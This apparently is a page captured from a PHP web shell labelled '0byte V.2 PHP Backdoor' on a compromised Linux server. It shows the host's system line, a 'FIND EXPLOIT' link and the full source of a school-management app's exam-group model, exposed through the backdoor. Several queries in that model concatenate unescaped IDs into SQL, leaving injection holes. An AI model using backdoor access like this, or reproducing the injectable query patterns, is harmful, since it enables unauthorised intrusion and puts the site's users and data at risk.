0byte V.2
PHP Backdoor

Linux 116-202-49-93.cprapid.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 [ FIND EXPLOIT ]
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db->select('exam_groups.*,(select count(*) from exam_group_class_batch_exams WHERE exam_group_class_batch_exams.exam_group_id=exam_groups.id) as `counter`')->from('exam_groups'); if ($id != null) { $this->db->where('id', $id); } else { $this->db->order_by('id'); } $query = $this->db->get(); if ($id != null) { return $query->row(); } else { return $query->result(); } } public function getExamByID($id = null) { $sql = "SELECT exam_groups.name as `exam_group_name`,exam_groups.exam_type as `exam_group_type`,exam_groups.id as `exam_group_id`,exam_group_class_batch_exams.*,sessions.session FROM `exam_group_class_batch_exams` INNER JOIN exam_groups on exam_groups.id= exam_group_class_batch_exams.exam_group_id INNER JOIN sessions on sessions.id = exam_group_class_batch_exams.session_id WHERE exam_group_class_batch_exams.id=" . $this->db->escape($id); // $this->db->select('exam_group_class_batch_exams.*')->from('exam_group_class_batch_exams'); $query = $this->db->query($sql); return $query->row(); } /** * This function will delete the record based on the id * @param $id */ public function remove($id) { $this->db->trans_begin(); $this->db->where('id', $id); $this->db->delete('exam_groups'); //class record delete. $message = DELETE_RECORD_CONSTANT . " On exam groups id " . $id; $action = "Delete"; $record_id = $id; $this->log($message, $record_id, $action); if ($this->db->trans_status() === false) { $this->db->trans_rollback(); } else { $this->db->trans_commit(); } return true; } /** * This function will take the post data passed from the controller * If id is present, then it will do an update * else an insert. One function doing both add and edit. * @param $data */ public function add($data) { $this->db->trans_start(); # Starting Transaction $this->db->trans_strict(false); # See Note 01. If you wish can remove as well //=======================Code Start=========================== if (isset($data['id'])) { $this->db->where('id', $data['id']); $this->db->update('exam_groups', $data); $message = UPDATE_RECORD_CONSTANT . " On exam groups id " . $data['id']; $action = "Update"; $record_id = $data['id']; $this->log($message, $record_id, $action); } else { $this->db->insert('exam_groups', $data); $id = $this->db->insert_id(); $message = INSERT_RECORD_CONSTANT . " On exam groups id " . $id; $action = "Insert"; $record_id = $id; $this->log($message, $record_id, $action); } //======================Code End============================== $this->db->trans_complete(); # Completing transaction /* Optional */ if ($this->db->trans_status() === false) { # Something went wrong. $this->db->trans_rollback(); return false; } else { //return $return_value; } } public function delete_exam($id) { $this->db->trans_start(); $this->db->where('id', $id); $this->db->delete('exam_group_class_batch_exams'); $message = DELETE_RECORD_CONSTANT . " On exam groups exams name id " . $id; $action = "Delete"; $record_id = $id; $this->log($message, $record_id, $action); $this->db->trans_complete(); if ($this->db->trans_status() === false) { return false; } else { return true; } } public function add_exam($data) { if (isset($data['id'])) { $this->db->where('id', $data['id']); $this->db->update('exam_group_class_batch_exams', $data); $message = UPDATE_RECORD_CONSTANT . " On exam group exams name id " . $data['id']; $action = "Update"; $record_id = $data['id']; $this->log($message, $record_id, $action); } else { $this->db->trans_start(); # Starting Transaction $this->db->trans_strict(false); # See Note 01. If you wish can remove as well $exam_group = $this->examgroup_model->get($data['exam_group_id']); $this->db->insert('exam_group_class_batch_exams', $data); $insert_id = $this->db->insert_id(); $message = INSERT_RECORD_CONSTANT . " On exam group exams name id " . $insert_id; $action = "Insert"; $record_id = $insert_id; $this->log($message, $record_id, $action); // if ($exam_group->exam_type != "coll_grade_system") { // $batch_subjects = $this->batchsubject_model->getClassBatchSubjects($data['class_batch_id']); // if (!empty($batch_subjects)) { // $exam_subjects = array(); // foreach ($batch_subjects as $batch_subject_key => $batch_subject_value) { // $exam_subjects[] = array( // 'exam_group_class_batch_exams_id' => $insert_id, // 'class_batch_subject_id' => $batch_subject_value->id, // ); // } // if (!empty($exam_subjects)) { // $this->db->insert_batch('exam_group_class_batch_exam_subjects', $exam_subjects); // } // } // } $this->db->trans_complete(); # Completing transaction /* Optional */ if ($this->db->trans_status() === false) { # Something went wrong. $this->db->trans_rollback(); return false; } else { # Everything is Perfect. # Committing data to the database. $this->db->trans_commit(); return true; } } } public function getExamByExamGroup($id, $is_active = false) { $this->db->select('exam_group_class_batch_exams.*,sessions.session,(select COUNT(*) from exam_group_class_batch_exam_subjects WHERE exam_group_class_batch_exam_subjects.exam_group_class_batch_exams_id = exam_group_class_batch_exams.id) as `total_subjects`')->from('exam_group_class_batch_exams'); $this->db->join('sessions', 'sessions.id = exam_group_class_batch_exams.session_id'); if ($is_active) { $this->db->where('exam_group_class_batch_exams.is_active', $is_active); } $this->db->where('exam_group_class_batch_exams.exam_group_id', $id); $this->db->order_by('exam_group_class_batch_exams.exam_group_id'); $query = $this->db->get(); return $query->result(); } public function getBacklogExam($parent_exam_id) { $this->db->select()->from('exam_group_class_batch_exams'); $this->db->where('parent_exam_id', $parent_exam_id); $query = $this->db->get(); return $query->result(); } public function getExamGroupDetailByID($id) { $this->db->select()->from('exam_groups'); $this->db->where('id', $id); $query = $this->db->get(); if ($query->num_rows() >= 1) { $result = $query->row(); $result->exams = $this->getExamByExamGroup($result->id); return $result; } return false; } public function verifyExamConnection($exam_array) { $sql = "SELECT exam_group_class_batch_exam_subjects.exam_group_class_batch_exams_id,exam_group_class_batch_exam_subjects.subject_id,count(subject_id) as subject_count FROM `exam_group_class_batch_exam_subjects` WHERE exam_group_class_batch_exams_id in(" . implode(",", $exam_array) . ") GROUP by subject_id,exam_group_class_batch_exams_id"; $query = $this->db->query($sql); $result = $query->result(); $sub_array = array(); $exams_array = array(); $ex_array = array(); $no_record = 0; if (!empty($result)) { $no_record = 1; foreach ($result as $result_key => $result_value) { $exams_array[$result_value->exam_group_class_batch_exams_id] = $result_value->exam_group_class_batch_exams_id; $ex_array[$result_value->exam_group_class_batch_exams_id][$result_value->subject_id] = $result_value->subject_count; } } return array('sub_array' => $sub_array, 'exams_array' => $exams_array, 'exam_subject_array' => $ex_array, 'no_record' => $no_record); } public function getExamByExamGroupConnection($id = null) { $this->db->select('exam_group_class_batch_exams.*,IFNULL(exam_group_exam_connections.id,0) as `exam_group_exam_connection_id`,IFNULL(exam_group_exam_connections.exam_weightage,"0.00") as exam_weightage,(select COUNT(*) from exam_group_class_batch_exam_subjects WHERE exam_group_class_batch_exam_subjects.exam_group_class_batch_exams_id = exam_group_class_batch_exams.id) as `total_subjects`')->from('exam_group_class_batch_exams'); $this->db->join('exam_group_exam_connections', 'exam_group_exam_connections.exam_group_id = exam_group_class_batch_exams.exam_group_id and exam_group_exam_connections.exam_group_class_batch_exams_id = exam_group_class_batch_exams.id', 'left'); $this->db->where('exam_group_class_batch_exams.exam_group_id', $id); $this->db->order_by('exam_group_class_batch_exams.id', 'asc'); $query = $this->db->get(); return $query->result(); } public function getExamGroupConnectionList($exam_group_id = null) { $this->db->select('exam_group_exam_connections.*')->from('exam_group_exam_connections'); $this->db->where('exam_group_exam_connections.exam_group_id', $exam_group_id); $this->db->order_by('exam_group_exam_connections.id', 'asc'); $query = $this->db->get(); return $query->result(); } public function connectExam($insert_array, $exam_group_id) { $not_be_delted = array(); if (!empty($insert_array)) { foreach ($insert_array as $array_key => $array_value) { $this->db->where('exam_group_id', $array_value['exam_group_id']); $this->db->where('exam_group_class_batch_exams_id', $array_value['exam_group_class_batch_exams_id']); $q = $this->db->get('exam_group_exam_connections'); if ($q->num_rows() == 0) { $this->db->insert('exam_group_exam_connections', $insert_array[$array_key]); $not_be_delted[] = $array_value['exam_group_class_batch_exams_id']; } else { $id = $q->row()->id; $exam_group_class_batch_exams_id = $q->row()->exam_group_class_batch_exams_id; $this->db->where('id', $id); $this->db->update('exam_group_exam_connections', $insert_array[$array_key]); $not_be_delted[] = $exam_group_class_batch_exams_id; } } } if (!empty($not_be_delted)) { $this->db->where('exam_group_id', $exam_group_id); $this->db->where_not_in('exam_group_class_batch_exams_id', $not_be_delted); $this->db->delete('exam_group_exam_connections'); } else { $this->db->where('exam_group_id', $exam_group_id); $this->db->delete('exam_group_exam_connections'); } } public function deleteExamGroupConnection($exam_group_id) { $this->db->where('exam_group_id', $exam_group_id); $this->db->delete('exam_group_exam_connections'); } public function getExamGroupByStudent($student_id, $active = 1) { $this->db->select('exam_group_students.*,exam_groups.name,exam_groups.exam_type,exam_groups.exam_type')->from('exam_group_students'); $this->db->join('exam_groups', 'exam_groups.id = exam_group_students.exam_group_id'); $this->db->where('student_session_id', $student_id); $this->db->where('exam_groups.is_active', $active); $query = $this->db->get(); return $query->result(); } public function getExamGroupByStudentSession($student_session_id, $active = 1) { $this->db->select('exam_group_students.*,exam_groups.name,exam_groups.exam_type,exam_groups.exam_type')->from('exam_group_students'); $this->db->join('exam_groups', 'exam_groups.id = exam_group_students.exam_group_id'); $this->db->where('student_session_id', $student_session_id); $this->db->where('exam_groups.is_active', $active); $query = $this->db->get(); $exam_groups = $query->result(); $exam_results = array(); if (!empty($exam_groups)) { foreach ($exam_groups as $exam_group_key => $exam_group_value) { $exam_groups[$exam_group_key]->exam_group_connection = $this->getExamGroupConnection($exam_group_value->exam_group_id); $exam_groups[$exam_group_key]->exam_results = $this->getExamGroupExamsResultByStudentID($exam_group_value->exam_group_id, $student_session_id); } return $exam_groups; } return false; } public function getExamResultStudent($exam_group_exam_id, $exam_group_id, $student_id) { $sql = "SELECT `exam_group_class_batch_exam_subjects`.*,IFNULL(exam_group_student.id, 0) as exam_group_exam_result_id,exam_group_student.get_marks,exam_group_student.attendence,exam_group_student.note,subjects.id as `subject_id`,subjects.`name`,subjects.`code` FROM `exam_group_class_batch_exam_subjects` LEFT join (SELECT exam_group_exam_results.* FROM `exam_group_students` INNER JOIN exam_group_exam_results on exam_group_exam_results.exam_group_student_id = exam_group_students.id WHERE exam_group_students.exam_group_id=" . $this->db->escape($exam_group_id) . " and exam_group_students.student_session_id =" . $this->db->escape($student_id) . " ORDER BY `exam_group_id`) as `exam_group_student` on exam_group_student.exam_group_class_batch_exam_subject_id =exam_group_class_batch_exam_subjects.id INNER join subjects on subjects.id= exam_group_class_batch_exam_subjects.subject_id WHERE exam_group_class_batch_exam_subjects.exam_group_class_batch_exams_id=" . $this->db->escape($exam_group_exam_id) . " ORDER BY `exam_group_class_batch_exams_id`"; $query = $this->db->query($sql); return $query->result(); } public function getExamResultDetailStudent($exam_group_exam_id, $exam_group_id, $student_id) { $this->db->select('exam_groups.*')->from('exam_groups'); $this->db->where('id', $exam_group_id); $query = $this->db->get(); $exam_group = $query->row(); $exam_group->exam_results = $this->getExamResultStudent($exam_group_exam_id, $exam_group_id, $student_id); return $exam_group; } public function getExamGroupExamsResultByStudentID($exam_group_id, $student_id) { $exam_group_exams = $this->getExamByExamGroup($exam_group_id, 1); if (!empty($exam_group_exams)) { foreach ($exam_group_exams as $exam_key => $exam_value) { $exam_group_exams[$exam_key]->exam_results = $this->getExamResultStudent($exam_value->id, $exam_value->exam_group_id, $student_id); } } return $exam_group_exams; } public function getExamGroupConnection($exam_group_id) { $result_array = array(); $sql = "SELECT exam_group_exam_connections.*,exam_group_class_batch_exams.id as `exam_group_class_batch_exam_id`,exam_group_class_batch_exams.exam,exam_group_class_batch_exams.description FROM `exam_group_exam_connections` INNER JOIN exam_group_class_batch_exams on exam_group_class_batch_exams.id = exam_group_exam_connections.exam_group_class_batch_exams_id WHERE exam_group_exam_connections.exam_group_id=" . $exam_group_id; $query = $this->db->query($sql); $result = $query->result(); $result_array['exam_connections'] = $result; if (!empty($result)) { $sql_inner = "SELECT exam_group_exam_connections.*,exam_group_class_batch_exam_subjects.id as exam_group_class_batch_exam_subject_id,exam_group_class_batch_exam_subjects.exam_group_class_batch_exams_id,exam_group_class_batch_exam_subjects.subject_id,exam_group_class_batch_exam_subjects.credit_hours,exam_group_class_batch_exam_subjects.date_from,exam_group_class_batch_exam_subjects.date_from,exam_group_class_batch_exam_subjects.date_to,exam_group_class_batch_exam_subjects.room_no,exam_group_class_batch_exam_subjects.max_marks,exam_group_class_batch_exam_subjects.max_marks,subjects.name,subjects.code FROM `exam_group_exam_connections`INNER JOIN exam_group_class_batch_exams on exam_group_class_batch_exams.id=exam_group_exam_connections.exam_group_class_batch_exams_id INNER JOIN exam_group_class_batch_exam_subjects on exam_group_class_batch_exam_subjects.exam_group_class_batch_exams_id = exam_group_class_batch_exams.id INNER JOIN subjects on subjects.id=exam_group_class_batch_exam_subjects.subject_id WHERE exam_group_exam_connections.exam_group_id=" . $exam_group_id . " GROUP BY exam_group_class_batch_exam_subjects.subject_id"; $query = $this->db->query($sql_inner); $result_array['connect_subjects'] = $query->result(); } return $result_array; } public function getExamGroupByClassSection($class_id, $section_id, $session_id) { $result_array = array(); $sql = "SELECT student_session.*,exam_group_students.exam_group_id,exam_groups.name FROM `student_session` INNER join exam_group_students on exam_group_students.student_id=student_session.student_id INNER JOIN exam_groups on exam_groups.id=exam_group_students.exam_group_id WHERE class_id= " . $this->db->escape($class_id) . " and section_id=" . $this->db->escape($section_id) . " and session_id=" . $this->db->escape($session_id) . " GROUP BY exam_group_students.exam_group_id"; $query = $this->db->query($sql); $result = $query->result(); return $result; } }

0byte V.2PHP Backdoor

0byte V.2
PHP Backdoor